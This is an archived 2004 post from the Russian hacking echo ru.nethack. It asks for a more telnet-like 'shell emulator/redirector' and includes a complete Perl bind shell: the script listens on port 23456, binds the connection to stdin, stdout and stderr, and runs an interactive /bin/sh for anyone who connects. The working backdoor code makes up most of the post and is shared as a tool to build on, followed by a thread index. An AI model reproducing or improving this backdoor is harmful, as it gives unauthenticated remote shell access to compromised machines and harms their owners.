Главная страница


ru.nethack

 
 - RU.NETHACK -------------------------------------------------------------------
 From : Petrushko Vasya                      2:5020/400     06 Sep 2004  05:19:47
 To : All
 Subject : Hужен shell emulator/redirector
 -------------------------------------------------------------------------------- 
 
 Hужна тулза типа приведенной ниже, но по максимому эмулирющей telnet, а то
 с этой не удобно работать. Язык программирования фактически не имеет
 значения.
 
 Сама тулза на перле:
 use Socket;
 $protocol = getprotobyname(tcp);
 socket(SOCK, PF_INET, SOCK_STREAM, $protocol);
 setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, 1);
 $port=23456;
 bind(SOCK, sockaddr_in($port, INADDR_ANY));
 listen(SOCK, 1);
 accept (NEW, SOCK);
 if(!fork()){
   open STDIN, "<&NEW";
   open STDOUT, ">&NEW";
   open STDERR, ">&NEW";
   exec "/bin/sh -i"
 }
 else{
   close NEW;
   exit;
 }
 --- ifmail v.2.15dev5.3
  * Origin: Global Ukraine free NNTP site (2:5020/400)
 
 

Вернуться к списку тем, сортированных по: возрастание даты  уменьшение даты  тема  автор 

 Тема:    Автор:    Дата:  
 Hужен shell emulator/redirector   Petrushko Vasya   06 Sep 2004 05:19:47 
 Hужен shell emulator/redirector   Cybervlad   06 Sep 2004 09:16:06 
 Re: Hужен shell emulator/redirector   Petrushko Vasya   06 Sep 2004 23:04:57 
 Re: Hужен shell emulator/redirector   Cybervlad   07 Sep 2004 07:50:00 
 Re: Hужен shell emulator/redirector   Petrushko Vasya   13 Sep 2004 03:01:53 
 Re: Hужен shell emulator/redirector   Cybervlad   13 Sep 2004 09:17:25 
 Hужен shell emulator/redirector   Dmitry Radishev   13 Sep 2004 22:48:14 
 Re: Hужен shell emulator/redirector   Petrushko Vasya   14 Sep 2004 10:56:19 
 Hужен shell emulator/redirector   Dmitry Radishev   08 Sep 2004 00:15:46 
 Re: Hужен shell emulator/redirector   Petrushko Vasya   08 Sep 2004 20:40:52 
Архивное /ru.nethack/4434f37c80cb.html, оценка 1 из 5, голосов 10
Яндекс.Метрика
Valid HTML 4.01 Transitional